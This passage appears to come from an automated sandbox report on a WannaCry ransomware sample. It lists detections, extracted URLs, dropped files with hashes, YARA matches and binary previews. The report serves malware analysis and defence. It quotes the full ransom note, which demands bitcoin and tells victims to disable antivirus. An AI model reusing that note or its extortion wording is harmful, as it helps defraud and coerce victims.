12->22         started        24 icacls.exe 12->24         started        46 C:\Users\user\Desktop\m.vbs, ASCII 15->46 dropped 68 Command shell drops VBS files 15->68 26 conhost.exe 15->26         started        28 cscript.exe 15->28         started        70 Multi AV Scanner detection for dropped file 18->70 72 Query firmware table information (likely to detect VMs) 20->72 30 conhost.exe 20->30         started        32 conhost.exe 20->32         started        signatures8 process9 process10 34 conhost.exe 22->34         started        36 conhost.exe 24->36         started       

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          f_00011292%ReversingLabsWin32.Ransomware.WannaCry
          f_000112100%AviraTR/Ransom.JB
          f_000112100%Joe Sandbox ML

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\@WanaDecryptor@.exe100%AviraTR/FileCoder.724645
          C:\@WanaDecryptor@.exe100%Joe Sandbox ML
          C:\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\AppData\Local\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Desktop\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Desktop\taskdl.exe96%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Desktop\taskse.exe89%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Desktop\u.wnry97%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Documents\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry
          C:\Users\user\Downloads\@WanaDecryptor@.exe97%ReversingLabsWin32.Ransomware.WannaCry

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          ⊘No Antivirus matches

          Domains and IPs

          Contacted Domains

          ⊘No contacted domains info

          URLs from Memory and Binaries

          NameSourceMaliciousAntivirus DetectionReputation
          http://tlu.dl.destore.db.51.drfalse
            https://dev.ditu.live.com/REST/v1/Routes/svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmpfalse
              https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                http://tlu.dl.delivery.mp.mistore.db.51.drfalse
                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 0000002B.00000003.1367657109.0000021CF6054000.00000004.00000020.00020000.00000000.sdmpfalse
                    https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                      http://tlu.dl.delivery.mp.microsoft.8com/filestreamingservice/files/1e08863d-491b-4609-a0f8-bd8fb8abstore.db.51.drfalse
                        http://tlu.dl.delivery.mp.micrBosoft.com/filestreamingservice/files/e5fd51e1-714d-4a9f-ad84-b9c7c9dastore.db.51.drfalse
                          http://tlu.dl.delivery.store.db.51.drfalse
                            http://tlu.dlstore.db.51.drfalse
                              http://tlu.dl.delivery.mp.micrstore.db.51.drfalse
                                http://tlu.dl.delivery.mp.microsoft.coEm/filestreamingservice/files/17a1f764-1e22-4005-ad95-0bc97022store.db.51.drfalse
                                  https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpgf_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                    https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                      https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368895493.0000021CF6081000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367593072.0000021CF605B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmpfalse
                                        https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpfalse
                                          http://www.btcfrog.com/qr/bitcoinPNG.php?address=%sf_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmptrue
                                            https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvsvchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpfalse
                                              http://tlu.dl.delivery.mp.microsoft.costore.db.51.drfalse
                                                https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  http://tlu.dl.delivery.mp.microsstore.db.51.drfalse
                                                    http://tlu.dl.delistore.db.51.drfalse
                                                      http://tlu.dl.delivery.mp.microsostore.db.51.drfalse
                                                        https://www.google.com/search?q=howf_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmptrue
                                                          http://www.btcfrog.com/qr/bitcoinPNG.php?address=%smailto:%shttps://www.google.com/search?q=howf_000112.exe, 00000000.00000003.1477873631.00000000009D5000.00000004.00000020.00020000.00000000.sdmptrue
                                                            https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipkf_000112.exe, 00000097.00000002.1487413082.0000000002620000.00000004.00000020.00020000.00000000.sdmptrue
                                                              http://tlu.dl.delivery.mp.microsoft.store.db.51.drfalse
                                                                https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_39e4b8f6fd6635158ad433436bdaa069841cfdf8e1989e03f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  http://tlu.dl.delivery.mp.microsofstore.db.51.drfalse
                                                                    http://www.bingmapsportal.comsvchost.exe, 0000002B.00000002.1368381981.0000021CF6013000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 0000002B.00000002.1368644717.0000021CF603F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367593072.0000021CF605B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        http://tlu.dl.delstore.db.51.drfalse
                                                                          http://tlu.dl.delivery.mpstore.db.51.drfalse
                                                                            https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              http://tlu.dl.delivery.mp.mstore.db.51.drfalse
                                                                                http://tlu.dl.delivstore.db.51.drfalse
                                                                                  https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    http://tlu.dl.delivery.mp.microstore.db.51.drfalse
                                                                                      https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                        https://dev.ditu.live.com/REST/v1/Transit/Stops/svchost.exe, 0000002B.00000003.1366869450.0000021CF6085000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 0000002B.00000003.1367209624.0000021CF6067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368487965.0000021CF602B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            https://dev.virtualearth.net/REST/v1/Traffic/Incidents/svchost.exe, 0000002B.00000002.1368644717.0000021CF603F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              https://t0.ssl.aksvchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvssvchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 0000002B.00000002.1368543054.0000021CF603B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=svchost.exe, 0000002B.00000003.1367657109.0000021CF6054000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      http://tlu.dl.deliverystore.db.51.drfalse
                                                                                                        https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          http://tlu.dl.delivery.mp.micstore.db.51.drfalse
                                                                                                            http://tlu.dl.store.db.51.drfalse
                                                                                                              https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                http://schemas.micrm_danish.wnry.0.drfalse
                                                                                                                  http://tlu.dl.delivery.mp.micraosoft.com/filestreamingservice/files/a730fbc0-b3e6-42bf-9776-5c1a9503store.db.51.drfalse
                                                                                                                    https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696581201119.12791&key=1696581201400600f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      http://tlu.dl.delivery.mp.micros5oft.com/filestreamingservice/files/621f41c6-598e-4516-bb23-be21d146store.db.51.drfalse
                                                                                                                        https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/svchost.exe, 0000002B.00000002.1368787378.0000021CF605A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            https://dev.virtualearth.net/mapcontrol/logging.ashxsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CLXfQbX4pbW4QbWfpbW7ReNxR3UIG8zInwYIFIVs9eYif_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_f_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  http://tlu.dl.delivery.mp.microsLoft.com/filestreamingservice/files/ae12b07d-3012-4812-92a3-bdc1df33store.db.51.drfalse
                                                                                                                                    http://tlu.dl.delivery.mp.microsoft.cstore.db.51.drfalse
                                                                                                                                      https://t0.ssl.ak.dynsvchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                        http://tlu.dl.delivery.mstore.db.51.drfalse
                                                                                                                                          https://dynamic.api.tiles.ditu.live.com/odvs/gdi?pv=1&r=svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                            http://tlu.dl.delivestore.db.51.drfalse
                                                                                                                                              https://dynamic.tsvchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368828355.0000021CF6065000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367359562.0000021CF605E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000002.1368747089.0000021CF6052000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpgf_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                  https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                    http://tlu.dl.deliverstore.db.51.drfalse
                                                                                                                                                      https://t0.ssl.ak.tiles.virtualearth.net/tiles/gensvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                        http://tlu.dl.delivery.mp.microsoftstore.db.51.drfalse
                                                                                                                                                          https://tiles.virtualearth.net/tiles/cmd/StreetSideBubbleMetaData?north=svchost.exe, 0000002B.00000002.1368787378.0000021CF605A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                            https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                              http://tlu.dstore.db.51.drfalse
                                                                                                                                                                https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696581201119.12791&key=1696581201400600000.1&ctaf_000112.exe, 00000000.00000002.2445942676.0000000002E80000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                  https://dev.ditu.live.com/REST/v1/Locationssvchost.exe, 0000002B.00000003.1367422896.0000021CF6057000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367461445.0000021CF6059000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                    https://dist.torproject.org/torbrowser/6.5.1/tor-win32-0.2.9.10.zipf_000112.exe, 00000000.00000002.2469078790.000000001000D000.00000004.00001000.00020000.00000000.sdmp, f_000112.exe, 00000097.00000002.1487413082.0000000002620000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                                                                      https://t0.ssl.ak.dynamic.tiles.vsvchost.exe, 0000002B.00000003.1367718661.0000021CF6031000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                                                        http://tlu.dl.delivery.mp.store.db.51.drfalse
                                                                                                                                                                          http://tlu.dl.dstore.db.51.drfalse
                                                                                                                                                                            https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 0000002B.00000003.1367627141.0000021CF6044000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000002B.00000003.1367271135.0000021CF6062000.00000004.00000020.00020000.00000000.sdmpfalse

                                                                                                                                                                              World Map of Contacted IPs

                                                                                                                                                                              ⊘No contacted IP infos

                                                                                                                                                                              General Information

                                                                                                                                                                              Joe Sandbox version:40.0.0 Tourmaline
                                                                                                                                                                              Analysis ID:1496614
                                                                                                                                                                              Start date and time:2024-08-21 15:18:58 +02:00
                                                                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                                                                              Overall analysis duration:0h 13m 46s
                                                                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                                                                              Report type:full
                                                                                                                                                                              Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                                                              Number of analysed new started processes analysed:206
                                                                                                                                                                              Number of new started drivers analysed:0
                                                                                                                                                                              Number of existing processes analysed:0
                                                                                                                                                                              Number of existing drivers analysed:0
                                                                                                                                                                              Number of injected processes analysed:0
                                                                                                                                                                              Technologies:
                                                                                                                                                                              • HCA enabled
                                                                                                                                                                              • EGA enabled
                                                                                                                                                                              • AMSI enabled
                                                                                                                                                                              Analysis Mode:default
                                                                                                                                                                              Analysis stop reason:Timeout
                                                                                                                                                                              Sample name:f_000112
                                                                                                                                                                              Detection:MAL
                                                                                                                                                                              Classification:mal100.rans.evad.win@910/1176@0/0
                                                                                                                                                                              EGA Information:
                                                                                                                                                                              • Successful, ratio: 100%
                                                                                                                                                                              HCA Information:
                                                                                                                                                                              • Successful, ratio: 100%
                                                                                                                                                                              • Number of executed functions: 1
                                                                                                                                                                              • Number of non-executed functions: 56

                                                                                                                                                                              Warnings

                                                                                                                                                                              • Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
                                                                                                                                                                              • Exclude process from analysis (whitelisted): dllhost.exe, SgrmBroker.exe, svchost.exe
                                                                                                                                                                              • Excluded IPs from analysis (whitelisted): 51.104.136.2, 40.68.123.157, 20.166.126.56, 13.95.31.18
                                                                                                                                                                              • Excluded domains from analysis (whitelisted): fe3.delivery.mp.microsoft.com, fs.microsoft.com, atm-settingsfe-prod-geo2.trafficmanager.net, login.live.com, slscr.update.microsoft.com, glb.cws.prod.dcat.dsp.trafficmanager.net, settings-prod-neu-2.northeurope.cloudapp.azure.com, sls.update.microsoft.com, ctldl.windowsupdate.com, settings-win.data.microsoft.com, glb.sls.prod.dcat.dsp.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
                                                                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                                                              • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                                                                              • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                                                                              • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                                                              • Report size getting too big, too many NtQueryAttributesFile calls found.
                                                                                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                                                              • Report size getting too big, too many NtSetValueKey calls found.
                                                                                                                                                                              • Report size getting too big, too many NtWriteFile calls found.
                                                                                                                                                                              • Report size getting too big, too many NtWriteVirtualMemory calls found.
                                                                                                                                                                              • VT rate limit hit for: f_000112

                                                                                                                                                                              Simulations

                                                                                                                                                                              Behavior and APIs

                                                                                                                                                                              TimeTypeDescription
                                                                                                                                                                              09:19:28API Interceptor5528595x Sleep call for process: f_000112.exe modified
                                                                                                                                                                              09:19:37API Interceptor6x Sleep call for process: MoUsoCoreWorker.exe modified
                                                                                                                                                                              09:19:38API Interceptor3x Sleep call for process: SIHClient.exe modified
                                                                                                                                                                              09:19:53API Interceptor1x Sleep call for process: dllhost.exe modified

                                                                                                                                                                              Joe Sandbox View / Context

                                                                                                                                                                              IPs

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              Domains

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              ASNs

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              JA3 Fingerprints

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              Dropped Files

                                                                                                                                                                              ⊘No context

                                                                                                                                                                              Created / dropped Files

                                                                                                                                                                              C:\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Yara Hits:
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              • Rule: WannaCry_RansomNote, Description: Detects WannaCry Ransomware Note, Source: C:\@Please_Read_Me@.txt, Author: Florian Roth
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\@WanaDecryptor@.exe

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):245760
                                                                                                                                                                              Entropy (8bit):6.278920408390635
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                                                                                                                                                              MD5:7BF2B57F2A205768755C07F238FB32CC
                                                                                                                                                                              SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                                                                                                                                                              SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                                                                                                                                                              SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Yara Hits:
                                                                                                                                                                              • Rule: JoeSecurity_Wannacry, Description: Yara detected Wannacry ransomware, Source: C:\@WanaDecryptor@.exe, Author: Joe Security
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                                                                              • Rule: Win32_Ransomware_WannaCry, Description: unknown, Source: C:\@WanaDecryptor@.exe, Author: ReversingLabs
                                                                                                                                                                              Antivirus:
                                                                                                                                                                              • Antivirus: Avira, Detection: 100%
                                                                                                                                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                                                                                                                                              • Antivirus: ReversingLabs, Detection: 97%
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                              C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Diagnosis\osver.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):296
                                                                                                                                                                              Entropy (8bit):7.160802288088137
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:bkEO1VuRgLxNIjRkI5XLoXHqPfLibueNkMDgMHoCJFqsnSY0UQhArQJ:bkEawWnckauH0fLij2M8MHFNnS3L
                                                                                                                                                                              MD5:EAD779773C1BF7DCE7ECC1E73E7294D2
                                                                                                                                                                              SHA1:CC76787013D9155BA1A25C55E9A8EC850AA85003
                                                                                                                                                                              SHA-256:C37E274926217A839900A37B6ED1DD520361BA2AB56A4DB605752783373103BD
                                                                                                                                                                              SHA-512:4B25B68845FC5C650BBD1B7DD0FFFBC5BA9C9B314A9AFF5B12464EDBBD7DB9F1383DBF4B3E1CE7C29009576A22CAD17D625B06410F062573BAB9A3BC70EF03C2
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....%...3$.P.*...8D..`.`..j.g.%..O9;...".^7.m.....8.....$.$.9..e.g.rM/J..U..!}.;z.....l...W/..'.H.(.vz.w.T....m...~....K..b..C.4..U*..:/L;E.0..t..^4.J...D-...);M.f`.....4.L..$.Lj.l#w....E....._<......n_=5H.gPT...L.w8,.{...%..~...b....9~...}a.S.._.Y.................<...}.XF.....

